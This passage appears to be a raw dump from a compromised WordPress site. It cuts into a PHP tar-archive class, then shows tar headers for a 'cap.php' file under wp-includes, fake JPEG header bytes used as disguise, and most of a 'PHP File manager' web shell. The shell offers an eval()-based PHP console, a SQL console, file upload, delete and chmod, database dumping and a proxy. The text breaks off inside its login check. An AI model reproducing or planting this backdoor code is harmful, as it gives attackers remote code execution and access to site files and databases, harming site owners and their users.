				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
